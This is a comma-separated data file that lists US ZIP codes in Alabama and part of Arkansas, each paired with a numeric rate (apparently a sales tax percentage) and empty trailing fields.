US-AL-35229,US,AL,35229,10,,,, US-AL-35231,US,AL,35231,6,,,, US-AL-35232,US,AL,35232,10,,,, US-AL-35233,US,AL,35233,10,,,, US-AL-35234,US,AL,35234,10,,,, US-AL-35235,US,AL,35235,10,,,, US-AL-35236,US,AL,35236,9,,,, US-AL-35237,US,AL,35237,10,,,, US-AL-35238,US,AL,35238,8,,,, US-AL-35242,US,AL,35242,6.5,,,, US-AL-35243,US,AL,35243,9,,,, US-AL-35244,US,AL,35244,9,,,, US-AL-35246,US,AL,35246,10,,,, US-AL-35249,US,AL,35249,10,,,, US-AL-35253,US,AL,35253,9,,,, US-AL-35254,US,AL,35254,10,,,, US-AL-35255,US,AL,35255,10,,,, US-AL-35259,US,AL,35259,9,,,, US-AL-35260,US,AL,35260,9,,,, US-AL-35261,US,AL,35261,10,,,, US-AL-35266,US,AL,35266,9,,,, US-AL-35270,US,AL,35270,10,,,, US-AL-35282,US,AL,35282,10,,,, US-AL-35283,US,AL,35283,10,,,, US-AL-35285,US,AL,35285,10,,,, US-AL-35287,US,AL,35287,10,,,, US-AL-35288,US,AL,35288,10,,,, US-AL-35290,US,AL,35290,10,,,, US-AL-35291,US,AL,35291,10,,,, US-AL-35292,US,AL,35292,10,,,, US-AL-35293,US,AL,35293,9,,,, US-AL-35294,US,AL,35294,10,,,, US-AL-35295,US,AL,35295,10,,,, US-AL-35296,US,AL,35296,10,,,, US-AL-35297,US,AL,35297,10,,,, US-AL-35298,US,AL,35298,10,,,, US-AL-35401,US,AL,35401,9,,,, US-AL-35402,US,AL,35402,9,,,, US-AL-35403,US,AL,35403,9,,,, US-AL-35404,US,AL,35404,9,,,, US-AL-35405,US,AL,35405,9,,,, US-AL-35406,US,AL,35406,9,,,, US-AL-35407,US,AL,35407,9,,,, US-AL-35440,US,AL,35440,9,,,, US-AL-35441,US,AL,35441,7,,,, US-AL-35442,US,AL,35442,8,,,, US-AL-35443,US,AL,35443,7,,,, US-AL-35444,US,AL,35444,9,,,, US-AL-35446,US,AL,35446,9,,,, US-AL-35447,US,AL,35447,7,,,, US-AL-35448,US,AL,35448,7,,,, US-AL-35449,US,AL,35449,9,,,, US-AL-35452,US,AL,35452,9,,,, US-AL-35453,US,AL,35453,9,,,, US-AL-35456,US,AL,35456,9,,,, US-AL-35457,US,AL,35457,9,,,, US-AL-35458,US,AL,35458,9,,,, US-AL-35459,US,AL,35459,7,,,, US-AL-35460,US,AL,35460,7,,,, US-AL-35461,US,AL,35461,7,,,, US-AL-35462,US,AL,35462,10,,,, US-AL-35463,US,AL,35463,9,,,, US-AL-35464,US,AL,35464,7,,,, US-AL-35466,US,AL,35466,7,,,, US-AL-35468,US,AL,35468,9,,,, US-AL-35469,US,AL,35469,7,,,, US-AL-35470,US,AL,35470,7,,,, US-AL-35471,US,AL,35471,8,,,, US-AL-35473,US,AL,35473,9,,,, US-AL-35474,US,AL,35474,7,,,, US-AL-35475,US,AL,35475,9,,,, US-AL-35476,US,AL,35476,9,,,, US-AL-35477,US,AL,35477,7,,,, US-AL-35478,US,AL,35478,9,,,, US-AL-35480,US,AL,35480,9,,,, US-AL-35481,US,AL,35481,7,,,, US-AL-35482,US,AL,35482,9,,,, US-AL-35485,US,AL,35485,9,,,, US-AL-35486,US,AL,35486,9,,,, US-AL-35487,US,AL,35487,9,,,, US-AL-35490,US,AL,35490,9,,,, US-AL-35491,US,AL,35491,7,,,, US-AL-35501,US,AL,35501,9,,,, US-AL-35502,US,AL,35502,9,,,, US-AL-35503,US,AL,35503,6,,,, US-AL-35504,US,AL,35504,6,,,, US-AL-35540,US,AL,35540,6,,,, US-AL-35541,US,AL,35541,6,,,, US-AL-35542,US,AL,35542,6,,,, US-AL-35543,US,AL,35543,8,,,, US-AL-35544,US,AL,35544,6,,,, US-AL-35545,US,AL,35545,7,,,, US-AL-35546,US,AL,35546,6,,,, US-AL-35548,US,AL,35548,9,,,, US-AL-35549,US,AL,35549,9,,,, US-AL-35550,US,AL,35550,6,,,, US-AL-35551,US,AL,35551,9,,,, US-AL-35552,US,AL,35552,6,,,, US-AL-35553,US,AL,35553,6,,,, US-AL-35554,US,AL,35554,6,,,, US-AL-35555,US,AL,35555,6,,,, US-AL-35559,US,AL,35559,7,,,, US-AL-35560,US,AL,35560,6,,,, US-AL-35563,US,AL,35563,9,,,, US-AL-35564,US,AL,35564,8,,,, US-AL-35565,US,AL,35565,9,,,, US-AL-35570,US,AL,35570,9,,,, US-AL-35571,US,AL,35571,6,,,, US-AL-35572,US,AL,35572,6,,,, US-AL-35573,US,AL,35573,7,,,, US-AL-35574,US,AL,35574,7,,,, US-AL-35575,US,AL,35575,8,,,, US-AL-35576,US,AL,35576,6,,,, US-AL-35577,US,AL,35577,6,,,, US-AL-35578,US,AL,35578,6,,,, US-AL-35579,US,AL,35579,6,,,, US-AL-35580,US,AL,35580,6,,,, US-AL-35581,US,AL,35581,6,,,, US-AL-35582,US,AL,35582,8.5,,,, US-AL-35584,US,AL,35584,8,,,, US-AL-35585,US,AL,35585,6,,,, US-AL-35586,US,AL,35586,6,,,, US-AL-35587,US,AL,35587,6,,,, US-AL-35592,US,AL,35592,6,,,, US-AL-35593,US,AL,35593,6,,,, US-AL-35594,US,AL,35594,9,,,, US-AL-35601,US,AL,35601,9,,,, US-AL-35602,US,AL,35602,9,,,, US-AL-35603,US,AL,35603,9,,,, US-AL-35609,US,AL,35609,9,,,, US-AL-35610,US,AL,35610,5.5,,,, US-AL-35611,US,AL,35611,9,,,, US-AL-35612,US,AL,35612,9,,,, US-AL-35613,US,AL,35613,6,,,, US-AL-35614,US,AL,35614,6,,,, US-AL-35615,US,AL,35615,6,,,, US-AL-35616,US,AL,35616,5.5,,,, US-AL-35617,US,AL,35617,5.5,,,, US-AL-35618,US,AL,35618,7,,,, US-AL-35619,US,AL,35619,7,,,, US-AL-35620,US,AL,35620,6,,,, US-AL-35621,US,AL,35621,7,,,, US-AL-35622,US,AL,35622,7,,,, US-AL-35630,US,AL,35630,8.5,,,, US-AL-35631,US,AL,35631,8.5,,,, US-AL-35632,US,AL,35632,8.5,,,, US-AL-35633,US,AL,35633,5.5,,,, US-AL-35634,US,AL,35634,5.5,,,, US-AL-35640,US,AL,35640,9,,,, US-AL-35643,US,AL,35643,7,,,, US-AL-35645,US,AL,35645,5.5,,,, US-AL-35646,US,AL,35646,5.5,,,, US-AL-35647,US,AL,35647,6,,,, US-AL-35648,US,AL,35648,5.5,,,, US-AL-35649,US,AL,35649,6,,,, US-AL-35650,US,AL,35650,7,,,, US-AL-35651,US,AL,35651,7,,,, US-AL-35652,US,AL,35652,5.5,,,, US-AL-35653,US,AL,35653,9,,,, US-AL-35654,US,AL,35654,6,,,, US-AL-35660,US,AL,35660,9,,,, US-AL-35661,US,AL,35661,9,,,, US-AL-35662,US,AL,35662,9,,,, US-AL-35670,US,AL,35670,7,,,, US-AL-35671,US,AL,35671,6,,,, US-AL-35672,US,AL,35672,7,,,, US-AL-35673,US,AL,35673,7,,,, US-AL-35674,US,AL,35674,9,,,, US-AL-35677,US,AL,35677,5.5,,,, US-AL-35699,US,AL,35699,9,,,, US-AL-35739,US,AL,35739,6,,,, US-AL-35740,US,AL,35740,9,,,, US-AL-35741,US,AL,35741,5.5,,,, US-AL-35742,US,AL,35742,6,,,, US-AL-35744,US,AL,35744,6,,,, US-AL-35745,US,AL,35745,6,,,, US-AL-35746,US,AL,35746,6,,,, US-AL-35747,US,AL,35747,5,,,, US-AL-35748,US,AL,35748,5.5,,,, US-AL-35749,US,AL,35749,5.5,,,, US-AL-35750,US,AL,35750,5.5,,,, US-AL-35751,US,AL,35751,6,,,, US-AL-35752,US,AL,35752,9,,,, US-AL-35754,US,AL,35754,7,,,, US-AL-35755,US,AL,35755,8,,,, US-AL-35756,US,AL,35756,6,,,, US-AL-35757,US,AL,35757,5.5,,,, US-AL-35758,US,AL,35758,9,,,, US-AL-35759,US,AL,35759,5.5,,,, US-AL-35760,US,AL,35760,5.5,,,, US-AL-35761,US,AL,35761,5.5,,,, US-AL-35762,US,AL,35762,8,,,, US-AL-35763,US,AL,35763,8,,,, US-AL-35764,US,AL,35764,6,,,, US-AL-35765,US,AL,35765,6,,,, US-AL-35766,US,AL,35766,6,,,, US-AL-35767,US,AL,35767,5.5,,,, US-AL-35768,US,AL,35768,9,,,, US-AL-35769,US,AL,35769,9,,,, US-AL-35771,US,AL,35771,6,,,, US-AL-35772,US,AL,35772,9,,,, US-AL-35773,US,AL,35773,5.5,,,, US-AL-35774,US,AL,35774,6,,,, US-AL-35775,US,AL,35775,7,,,, US-AL-35776,US,AL,35776,6,,,, US-AL-35801,US,AL,35801,8,,,, US-AL-35802,US,AL,35802,8,,,, US-AL-35803,US,AL,35803,8,,,, US-AL-35804,US,AL,35804,8,,,, US-AL-35805,US,AL,35805,8,,,, US-AL-35806,US,AL,35806,8,,,, US-AL-35807,US,AL,35807,8,,,, US-AL-35808,US,AL,35808,5.5,,,, US-AL-35809,US,AL,35809,8,,,, US-AL-35810,US,AL,35810,8,,,, US-AL-35811,US,AL,35811,5.5,,,, US-AL-35812,US,AL,35812,8,,,, US-AL-35813,US,AL,35813,8,,,, US-AL-35814,US,AL,35814,8,,,, US-AL-35815,US,AL,35815,8,,,, US-AL-35816,US,AL,35816,8,,,, US-AL-35824,US,AL,35824,8,,,, US-AL-35893,US,AL,35893,8,,,, US-AL-35894,US,AL,35894,8,,,, US-AL-35895,US,AL,35895,8,,,, US-AL-35896,US,AL,35896,8,,,, US-AL-35897,US,AL,35897,5.5,,,, US-AL-35899,US,AL,35899,8,,,, US-AL-35901,US,AL,35901,9,,,, US-AL-35902,US,AL,35902,9,,,, US-AL-35903,US,AL,35903,9,,,, US-AL-35904,US,AL,35904,9,,,, US-AL-35905,US,AL,35905,9,,,, US-AL-35906,US,AL,35906,9,,,, US-AL-35907,US,AL,35907,9,,,, US-AL-35950,US,AL,35950,8,,,, US-AL-35951,US,AL,35951,7,,,, US-AL-35952,US,AL,35952,5,,,, US-AL-35953,US,AL,35953,6,,,, US-AL-35954,US,AL,35954,5,,,, US-AL-35956,US,AL,35956,5,,,, US-AL-35957,US,AL,35957,8,,,, US-AL-35958,US,AL,35958,6,,,, US-AL-35959,US,AL,35959,7.5,,,, US-AL-35960,US,AL,35960,7.5,,,, US-AL-35961,US,AL,35961,5,,,, US-AL-35962,US,AL,35962,5,,,, US-AL-35963,US,AL,35963,5,,,, US-AL-35964,US,AL,35964,8,,,, US-AL-35966,US,AL,35966,6,,,, US-AL-35967,US,AL,35967,8,,,, US-AL-35968,US,AL,35968,5,,,, US-AL-35971,US,AL,35971,5,,,, US-AL-35972,US,AL,35972,5,,,, US-AL-35973,US,AL,35973,7.5,,,, US-AL-35974,US,AL,35974,8,,,, US-AL-35975,US,AL,35975,5,,,, US-AL-35976,US,AL,35976,7,,,, US-AL-35978,US,AL,35978,9,,,, US-AL-35979,US,AL,35979,5,,,, US-AL-35980,US,AL,35980,5,,,, US-AL-35981,US,AL,35981,7,,,, US-AL-35983,US,AL,35983,9,,,, US-AL-35984,US,AL,35984,5,,,, US-AL-35986,US,AL,35986,9,,,, US-AL-35987,US,AL,35987,8,,,, US-AL-35988,US,AL,35988,9,,,, US-AL-35989,US,AL,35989,5,,,, US-AL-35990,US,AL,35990,8,,,, US-AL-36003,US,AL,36003,6,,,, US-AL-36005,US,AL,36005,6,,,, US-AL-36006,US,AL,36006,6,,,, US-AL-36008,US,AL,36008,6,,,, US-AL-36009,US,AL,36009,7,,,, US-AL-36010,US,AL,36010,8,,,, US-AL-36013,US,AL,36013,8.75,,,, US-AL-36015,US,AL,36015,5.5,,,, US-AL-36016,US,AL,36016,5.5,,,, US-AL-36017,US,AL,36017,8.5,,,, US-AL-36020,US,AL,36020,8,,,, US-AL-36022,US,AL,36022,5,,,, US-AL-36023,US,AL,36023,9,,,, US-AL-36024,US,AL,36024,5,,,, US-AL-36025,US,AL,36025,6.5,,,, US-AL-36026,US,AL,36026,5,,,, US-AL-36027,US,AL,36027,9,,,, US-AL-36028,US,AL,36028,8,,,, US-AL-36029,US,AL,36029,6.5,,,, US-AL-36030,US,AL,36030,5.5,,,, US-AL-36031,US,AL,36031,5,,,, US-AL-36032,US,AL,36032,10.5,,,, US-AL-36033,US,AL,36033,9.5,,,, US-AL-36034,US,AL,36034,5,,,, US-AL-36035,US,AL,36035,6,,,, US-AL-36036,US,AL,36036,6.5,,,, US-AL-36037,US,AL,36037,5.5,,,, US-AL-36038,US,AL,36038,7,,,, US-AL-36039,US,AL,36039,5,,,, US-AL-36040,US,AL,36040,10,,,, US-AL-36041,US,AL,36041,7,,,, US-AL-36042,US,AL,36042,7,,,, US-AL-36043,US,AL,36043,8,,,, US-AL-36045,US,AL,36045,9,,,, US-AL-36046,US,AL,36046,7,,,, US-AL-36047,US,AL,36047,8,,,, US-AL-36048,US,AL,36048,5.5,,,, US-AL-36049,US,AL,36049,9,,,, US-AL-36051,US,AL,36051,6,,,, US-AL-36052,US,AL,36052,6.5,,,, US-AL-36053,US,AL,36053,5.5,,,, US-AL-36054,US,AL,36054,8.5,,,, US-AL-36057,US,AL,36057,7.625,,,, US-AL-36061,US,AL,36061,7,,,, US-AL-36062,US,AL,36062,9,,,, US-AL-36064,US,AL,36064,8.75,,,, US-AL-36065,US,AL,36065,6.5,,,, US-AL-36066,US,AL,36066,9.5,,,, US-AL-36067,US,AL,36067,9.5,,,, US-AL-36068,US,AL,36068,9.5,,,, US-AL-36069,US,AL,36069,6.5,,,, US-AL-36071,US,AL,36071,7,,,, US-AL-36072,US,AL,36072,9,,,, US-AL-36075,US,AL,36075,7.5,,,, US-AL-36078,US,AL,36078,9,,,, US-AL-36079,US,AL,36079,9,,,, US-AL-36080,US,AL,36080,5,,,, US-AL-36081,US,AL,36081,9,,,, US-AL-36082,US,AL,36082,9,,,, US-AL-36083,US,AL,36083,10,,,, US-AL-36087,US,AL,36087,10,,,, US-AL-36088,US,AL,36088,10,,,, US-AL-36089,US,AL,36089,9,,,, US-AL-36091,US,AL,36091,5,,,, US-AL-36092,US,AL,36092,5,,,, US-AL-36093,US,AL,36093,5,,,, US-AL-36101,US,AL,36101,10,,,, US-AL-36102,US,AL,36102,10,,,, US-AL-36103,US,AL,36103,10,,,, US-AL-36104,US,AL,36104,10,,,, US-AL-36105,US,AL,36105,10,,,, US-AL-36106,US,AL,36106,10,,,, US-AL-36107,US,AL,36107,10,,,, US-AL-36108,US,AL,36108,10,,,, US-AL-36109,US,AL,36109,10,,,, US-AL-36110,US,AL,36110,10,,,, US-AL-36111,US,AL,36111,10,,,, US-AL-36112,US,AL,36112,10,,,, US-AL-36113,US,AL,36113,10,,,, US-AL-36114,US,AL,36114,10,,,, US-AL-36115,US,AL,36115,10,,,, US-AL-36116,US,AL,36116,10,,,, US-AL-36117,US,AL,36117,10,,,, US-AL-36118,US,AL,36118,10,,,, US-AL-36119,US,AL,36119,10,,,, US-AL-36120,US,AL,36120,10,,,, US-AL-36121,US,AL,36121,10,,,, US-AL-36123,US,AL,36123,10,,,, US-AL-36124,US,AL,36124,10,,,, US-AL-36125,US,AL,36125,10,,,, US-AL-36130,US,AL,36130,10,,,, US-AL-36131,US,AL,36131,10,,,, US-AL-36132,US,AL,36132,10,,,, US-AL-36133,US,AL,36133,10,,,, US-AL-36134,US,AL,36134,10,,,, US-AL-36135,US,AL,36135,10,,,, US-AL-36140,US,AL,36140,10,,,, US-AL-36141,US,AL,36141,10,,,, US-AL-36142,US,AL,36142,10,,,, US-AL-36177,US,AL,36177,10,,,, US-AL-36191,US,AL,36191,10,,,, US-AL-36201,US,AL,36201,10,,,, US-AL-36202,US,AL,36202,10,,,, US-AL-36203,US,AL,36203,10,,,, US-AL-36204,US,AL,36204,10,,,, US-AL-36205,US,AL,36205,10,,,, US-AL-36206,US,AL,36206,9.5,,,, US-AL-36207,US,AL,36207,10,,,, US-AL-36250,US,AL,36250,7,,,, US-AL-36251,US,AL,36251,6,,,, US-AL-36253,US,AL,36253,10,,,, US-AL-36254,US,AL,36254,7,,,, US-AL-36255,US,AL,36255,6,,,, US-AL-36256,US,AL,36256,8,,,, US-AL-36257,US,AL,36257,10,,,, US-AL-36258,US,AL,36258,6,,,, US-AL-36260,US,AL,36260,10,,,, US-AL-36261,US,AL,36261,8,,,, US-AL-36262,US,AL,36262,6,,,, US-AL-36263,US,AL,36263,5,,,, US-AL-36264,US,AL,36264,6,,,, US-AL-36265,US,AL,36265,10,,,, US-AL-36266,US,AL,36266,6,,,, US-AL-36267,US,AL,36267,6,,,, US-AL-36268,US,AL,36268,7,,,, US-AL-36269,US,AL,36269,6,,,, US-AL-36271,US,AL,36271,7,,,, US-AL-36272,US,AL,36272,9,,,, US-AL-36273,US,AL,36273,6,,,, US-AL-36274,US,AL,36274,8.5,,,, US-AL-36275,US,AL,36275,7.5,,,, US-AL-36276,US,AL,36276,5,,,, US-AL-36277,US,AL,36277,10,,,, US-AL-36278,US,AL,36278,5,,,, US-AL-36279,US,AL,36279,7,,,, US-AL-36280,US,AL,36280,5,,,, US-AL-36301,US,AL,36301,9,,,, US-AL-36302,US,AL,36302,9,,,, US-AL-36303,US,AL,36303,9,,,, US-AL-36304,US,AL,36304,9,,,, US-AL-36305,US,AL,36305,9,,,, US-AL-36310,US,AL,36310,6,,,, US-AL-36311,US,AL,36311,6,,,, US-AL-36312,US,AL,36312,5,,,, US-AL-36313,US,AL,36313,5,,,, US-AL-36314,US,AL,36314,7,,,, US-AL-36316,US,AL,36316,5,,,, US-AL-36317,US,AL,36317,6,,,, US-AL-36318,US,AL,36318,5,,,, US-AL-36319,US,AL,36319,6,,,, US-AL-36320,US,AL,36320,5,,,, US-AL-36321,US,AL,36321,7,,,, US-AL-36322,US,AL,36322,9,,,, US-AL-36323,US,AL,36323,5,,,, US-AL-36330,US,AL,36330,8.5,,,, US-AL-36331,US,AL,36331,8.5,,,, US-AL-36340,US,AL,36340,8,,,, US-AL-36343,US,AL,36343,5,,,, US-AL-36344,US,AL,36344,5,,,, US-AL-36345,US,AL,36345,9,,,, US-AL-36346,US,AL,36346,5,,,, US-AL-36349,US,AL,36349,8,,,, US-AL-36350,US,AL,36350,6,,,, US-AL-36351,US,AL,36351,5,,,, US-AL-36352,US,AL,36352,5,,,, US-AL-36353,US,AL,36353,6,,,, US-AL-36360,US,AL,36360,9,,,, US-AL-36361,US,AL,36361,9,,,, US-AL-36362,US,AL,36362,6,,,, US-AL-36370,US,AL,36370,5,,,, US-AL-36371,US,AL,36371,8,,,, US-AL-36373,US,AL,36373,6,,,, US-AL-36374,US,AL,36374,6,,,, US-AL-36375,US,AL,36375,5,,,, US-AL-36376,US,AL,36376,8,,,, US-AL-36401,US,AL,36401,6,,,, US-AL-36420,US,AL,36420,9.5,,,, US-AL-36421,US,AL,36421,6,,,, US-AL-36425,US,AL,36425,6.5,,,, US-AL-36426,US,AL,36426,8,,,, US-AL-36427,US,AL,36427,9,,,, US-AL-36429,US,AL,36429,6,,,, US-AL-36432,US,AL,36432,6,,,, US-AL-36435,US,AL,36435,7.5,,,, US-AL-36436,US,AL,36436,5,,,, US-AL-36439,US,AL,36439,7.5,,,, US-AL-36441,US,AL,36441,8,,,, US-AL-36442,US,AL,36442,8,,,, US-AL-36444,US,AL,36444,6.5,,,, US-AL-36445,US,AL,36445,6.5,,,, US-AL-36446,US,AL,36446,8,,,, US-AL-36449,US,AL,36449,6.5,,,, US-AL-36451,US,AL,36451,5,,,, US-AL-36453,US,AL,36453,5,,,, US-AL-36454,US,AL,36454,6,,,, US-AL-36455,US,AL,36455,8,,,, US-AL-36456,US,AL,36456,5.5,,,, US-AL-36458,US,AL,36458,7.75,,,, US-AL-36460,US,AL,36460,9,,,, US-AL-36461,US,AL,36461,9,,,, US-AL-36467,US,AL,36467,9,,,, US-AL-36470,US,AL,36470,6.5,,,, US-AL-36471,US,AL,36471,6.5,,,, US-AL-36473,US,AL,36473,6,,,, US-AL-36474,US,AL,36474,6,,,, US-AL-36475,US,AL,36475,6,,,, US-AL-36476,US,AL,36476,8,,,, US-AL-36477,US,AL,36477,8,,,, US-AL-36480,US,AL,36480,6.5,,,, US-AL-36481,US,AL,36481,6.5,,,, US-AL-36482,US,AL,36482,5,,,, US-AL-36483,US,AL,36483,6,,,, US-AL-36502,US,AL,36502,9,,,, US-AL-36503,US,AL,36503,9,,,, US-AL-36504,US,AL,36504,9,,,, US-AL-36505,US,AL,36505,7.5,,,, US-AL-36507,US,AL,36507,10,,,, US-AL-36509,US,AL,36509,10,,,, US-AL-36511,US,AL,36511,8.5,,,, US-AL-36512,US,AL,36512,5.5,,,, US-AL-36513,US,AL,36513,4,,,, US-AL-36515,US,AL,36515,9,,,, US-AL-36518,US,AL,36518,4,,,, US-AL-36521,US,AL,36521,5.5,,,, US-AL-36522,US,AL,36522,9,,,, US-AL-36523,US,AL,36523,5.5,,,, US-AL-36524,US,AL,36524,5,,,, US-AL-36525,US,AL,36525,9.5,,,, US-AL-36526,US,AL,36526,9.5,,,, US-AL-36527,US,AL,36527,8.5,,,, US-AL-36528,US,AL,36528,10,,,, US-AL-36529,US,AL,36529,4,,,, US-AL-36530,US,AL,36530,8.5,,,, US-AL-36532,US,AL,36532,9,,,, US-AL-36533,US,AL,36533,9,,,, US-AL-36535,US,AL,36535,9,,,, US-AL-36536,US,AL,36536,9,,,, US-AL-36538,US,AL,36538,4,,,, US-AL-36539,US,AL,36539,4,,,, US-AL-36540,US,AL,36540,5,,,, US-AL-36541,US,AL,36541,5.5,,,, US-AL-36542,US,AL,36542,10,,,, US-AL-36543,US,AL,36543,9,,,, US-AL-36544,US,AL,36544,5.5,,,, US-AL-36545,US,AL,36545,9,,,, US-AL-36547,US,AL,36547,10,,,, US-AL-36548,US,AL,36548,4,,,, US-AL-36549,US,AL,36549,7,,,, US-AL-36550,US,AL,36550,7,,,, US-AL-36551,US,AL,36551,8,,,, US-AL-36553,US,AL,36553,4,,,, US-AL-36555,US,AL,36555,9,,,, US-AL-36556,US,AL,36556,4,,,, US-AL-36558,US,AL,36558,4,,,, US-AL-36559,US,AL,36559,8,,,, US-AL-36560,US,AL,36560,5.5,,,, US-AL-36561,US,AL,36561,10,,,, US-AL-36562,US,AL,36562,7,,,, US-AL-36564,US,AL,36564,8,,,, US-AL-36567,US,AL,36567,7,,,, US-AL-36568,US,AL,36568,5.5,,,, US-AL-36569,US,AL,36569,4,,,, US-AL-36571,US,AL,36571,10,,,, US-AL-36572,US,AL,36572,10,,,, US-AL-36574,US,AL,36574,7,,,, US-AL-36575,US,AL,36575,6.75,,,, US-AL-36576,US,AL,36576,8,,,, US-AL-36577,US,AL,36577,9.5,,,, US-AL-36578,US,AL,36578,8,,,, US-AL-36579,US,AL,36579,7,,,, US-AL-36580,US,AL,36580,7,,,, US-AL-36581,US,AL,36581,4,,,, US-AL-36582,US,AL,36582,5.5,,,, US-AL-36583,US,AL,36583,4,,,, US-AL-36584,US,AL,36584,4,,,, US-AL-36585,US,AL,36585,4,,,, US-AL-36587,US,AL,36587,5.5,,,, US-AL-36590,US,AL,36590,10,,,, US-AL-36601,US,AL,36601,10,,,, US-AL-36602,US,AL,36602,10,,,, US-AL-36603,US,AL,36603,10,,,, US-AL-36604,US,AL,36604,10,,,, US-AL-36605,US,AL,36605,10,,,, US-AL-36606,US,AL,36606,10,,,, US-AL-36607,US,AL,36607,10,,,, US-AL-36608,US,AL,36608,10,,,, US-AL-36609,US,AL,36609,10,,,, US-AL-36610,US,AL,36610,10,,,, US-AL-36611,US,AL,36611,10,,,, US-AL-36612,US,AL,36612,10,,,, US-AL-36613,US,AL,36613,10,,,, US-AL-36615,US,AL,36615,10,,,, US-AL-36616,US,AL,36616,10,,,, US-AL-36617,US,AL,36617,10,,,, US-AL-36618,US,AL,36618,10,,,, US-AL-36619,US,AL,36619,5.5,,,, US-AL-36625,US,AL,36625,10,,,, US-AL-36628,US,AL,36628,10,,,, US-AL-36630,US,AL,36630,10,,,, US-AL-36633,US,AL,36633,10,,,, US-AL-36640,US,AL,36640,10,,,, US-AL-36641,US,AL,36641,10,,,, US-AL-36644,US,AL,36644,10,,,, US-AL-36652,US,AL,36652,10,,,, US-AL-36660,US,AL,36660,10,,,, US-AL-36663,US,AL,36663,10,,,, US-AL-36670,US,AL,36670,10,,,, US-AL-36671,US,AL,36671,10,,,, US-AL-36675,US,AL,36675,10,,,, US-AL-36685,US,AL,36685,10,,,, US-AL-36688,US,AL,36688,10,,,, US-AL-36689,US,AL,36689,10,,,, US-AL-36691,US,AL,36691,10,,,, US-AL-36693,US,AL,36693,10,,,, US-AL-36695,US,AL,36695,8,,,, US-AL-36701,US,AL,36701,10,,,, US-AL-36702,US,AL,36702,10,,,, US-AL-36703,US,AL,36703,10,,,, US-AL-36720,US,AL,36720,7.5,,,, US-AL-36721,US,AL,36721,7.5,,,, US-AL-36722,US,AL,36722,7.5,,,, US-AL-36723,US,AL,36723,7.5,,,, US-AL-36726,US,AL,36726,7.5,,,, US-AL-36727,US,AL,36727,5,,,, US-AL-36728,US,AL,36728,7.5,,,, US-AL-36732,US,AL,36732,9,,,, US-AL-36736,US,AL,36736,6,,,, US-AL-36738,US,AL,36738,6,,,, US-AL-36740,US,AL,36740,9,,,, US-AL-36741,US,AL,36741,7.5,,,, US-AL-36742,US,AL,36742,6,,,, US-AL-36744,US,AL,36744,7,,,, US-AL-36745,US,AL,36745,6,,,, US-AL-36748,US,AL,36748,9,,,, US-AL-36749,US,AL,36749,6,,,, US-AL-36750,US,AL,36750,5,,,, US-AL-36751,US,AL,36751,7.5,,,, US-AL-36752,US,AL,36752,8,,,, US-AL-36753,US,AL,36753,7.5,,,, US-AL-36754,US,AL,36754,6,,,, US-AL-36756,US,AL,36756,10,,,, US-AL-36758,US,AL,36758,5.5,,,, US-AL-36759,US,AL,36759,5.5,,,, US-AL-36761,US,AL,36761,5.5,,,, US-AL-36762,US,AL,36762,5,,,, US-AL-36763,US,AL,36763,8,,,, US-AL-36764,US,AL,36764,6,,,, US-AL-36765,US,AL,36765,7.5,,,, US-AL-36766,US,AL,36766,7.5,,,, US-AL-36767,US,AL,36767,5.5,,,, US-AL-36768,US,AL,36768,7.5,,,, US-AL-36769,US,AL,36769,7.5,,,, US-AL-36773,US,AL,36773,5.5,,,, US-AL-36775,US,AL,36775,5.5,,,, US-AL-36776,US,AL,36776,7,,,, US-AL-36782,US,AL,36782,6,,,, US-AL-36783,US,AL,36783,6,,,, US-AL-36784,US,AL,36784,10,,,, US-AL-36785,US,AL,36785,8,,,, US-AL-36786,US,AL,36786,10,,,, US-AL-36790,US,AL,36790,5,,,, US-AL-36792,US,AL,36792,8,,,, US-AL-36793,US,AL,36793,8,,,, US-AL-36801,US,AL,36801,9,,,, US-AL-36802,US,AL,36802,9,,,, US-AL-36803,US,AL,36803,9,,,, US-AL-36804,US,AL,36804,6,,,, US-AL-36830,US,AL,36830,9,,,, US-AL-36831,US,AL,36831,9,,,, US-AL-36832,US,AL,36832,9,,,, US-AL-36849,US,AL,36849,9,,,, US-AL-36850,US,AL,36850,5,,,, US-AL-36851,US,AL,36851,8,,,, US-AL-36852,US,AL,36852,6,,,, US-AL-36853,US,AL,36853,5,,,, US-AL-36854,US,AL,36854,10,,,, US-AL-36855,US,AL,36855,9,,,, US-AL-36856,US,AL,36856,8,,,, US-AL-36858,US,AL,36858,8,,,, US-AL-36859,US,AL,36859,8,,,, US-AL-36860,US,AL,36860,8,,,, US-AL-36861,US,AL,36861,6.5,,,, US-AL-36862,US,AL,36862,9,,,, US-AL-36863,US,AL,36863,9,,,, US-AL-36865,US,AL,36865,7,,,, US-AL-36866,US,AL,36866,5,,,, US-AL-36867,US,AL,36867,8.75,,,, US-AL-36868,US,AL,36868,8.75,,,, US-AL-36869,US,AL,36869,8.75,,,, US-AL-36870,US,AL,36870,7.875,,,, US-AL-36871,US,AL,36871,8,,,, US-AL-36872,US,AL,36872,10,,,, US-AL-36874,US,AL,36874,7,,,, US-AL-36875,US,AL,36875,8,,,, US-AL-36877,US,AL,36877,8,,,, US-AL-36879,US,AL,36879,7,,,, US-AL-36901,US,AL,36901,7,,,, US-AL-36904,US,AL,36904,7,,,, US-AL-36907,US,AL,36907,7,,,, US-AL-36908,US,AL,36908,7,,,, US-AL-36910,US,AL,36910,7,,,, US-AL-36912,US,AL,36912,7,,,, US-AL-36913,US,AL,36913,7,,,, US-AL-36915,US,AL,36915,7,,,, US-AL-36916,US,AL,36916,10,,,, US-AL-36919,US,AL,36919,7,,,, US-AL-36921,US,AL,36921,7,,,, US-AL-36922,US,AL,36922,7,,,, US-AL-36925,US,AL,36925,10,,,, US-AR-71601,US,AR,71601,9.75,,,, US-AR-71602,US,AR,71602,9.75,,,, US-AR-71603,US,AR,71603,9.75,,,, US-AR-71611,US,AR,71611,9.75,,,, US-AR-71612,US,AR,71612,9.125,,,, US-AR-71613,US,AR,71613,9.75,,,, US-AR-71630,US,AR,71630,8,,,, US-AR-71631,US,AR,71631,8.5,,,, US-AR-71635,US,AR,71635,8,,,, US-AR-71638,US,AR,71638,12,,,, US-AR-71639,US,AR,71639,10.5,,,, US-AR-71640,US,AR,71640,11.5,,,, US-AR-71642,US,AR,71642,8,,,, US-AR-71643,US,AR,71643,8.5,,,, US-AR-71644,US,AR,71644,8.125,,,, US-AR-71646,US,AR,71646,8,,,, US-AR-71647,US,AR,71647,8.5,,,, US-AR-71651,US,AR,71651,8.5,,,, US-AR-71652,US,AR,71652,7.75,,,, US-AR-71653,US,AR,71653,11.5,,,, US-AR-71654,US,AR,71654,11,,,, US-AR-71655,US,AR,71655,10,,,, US-AR-71656,US,AR,71656,10,,,, 